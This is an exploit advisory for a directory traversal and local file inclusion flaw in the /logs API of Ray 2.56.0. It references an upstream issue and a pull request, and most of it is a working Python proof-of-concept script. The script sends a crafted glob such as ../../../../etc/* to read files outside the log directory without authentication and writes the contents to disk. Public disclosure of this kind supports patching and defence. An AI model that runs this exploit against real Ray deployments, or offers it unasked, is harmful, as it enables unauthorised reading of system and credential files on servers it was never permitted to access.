# Exploit Title: Ray 2.56.0 - Directory Traversal & Local File Inclusion # Date: 07/12/2026 # Google Dork: N/A # Exploit Author: Richard Howe (rhowe425@gmail.com) # Vendor Homepage: https://github.com/ray-project/ray # Software Link: https://github.com/ray-project/ray # Version: 2.56.0 # Tested on: Ubuntu 22.04 and RHEL 10.0 # CVE: Pending CNA assignment A fix has been proposed upstream and is currently under review by the Ray maintainers. GH Issue: https://github.com/ray-project/ray/issues/45751 GH Pull Request: https://github.com/ray-project/ray/pull/64701 This proof of concept demonstrates a directory traversal/local file inclusion vulnerability in Ray's /logs API. By supplying a crafted glob filter, a remote unauthenticated attacker can access files outside the intended log directory. The attached exploit reproduces the issue against Ray 2.56.0 on Ubuntu 22.04 and RHEL 10.0. Attachments: - exploit.py (proof of concept) - Screenshot of successful exploitation - Screenshot of the pending CVE submission Usage: python exploit.py \ --ip \ --port 6379 \ --glob ../../../../etc/* from sys import argv from requests import get def get_arg(name): try: index = argv.index(name) return argv[index + 1] except (ValueError, IndexError): return None def main(): ip = get_arg("--ip") port = get_arg("--port") node_id = get_arg("--node") glob = get_arg("--glob") fpath = get_arg("--fpath") if not ip or not port or not node_id or not glob: print("Usage: script.py --ip
--port --node --glob --fpath ") exit(1) params = { 'node_id': node_id, 'glob': f'{glob}/*' } print(params) try: req = get(f'http://{ip}:{port}/api/v0/logs', params=params) except Exception as e: print(str(e)) if req.status_code == 200 and fpath: print('Success! Writing contents to file.') with open(fpath, "wb") as f: f.write(req.content) elif req.status_code == 200: print(f'Success!\n{req.content}') else: print('Failed') print(req.content) main()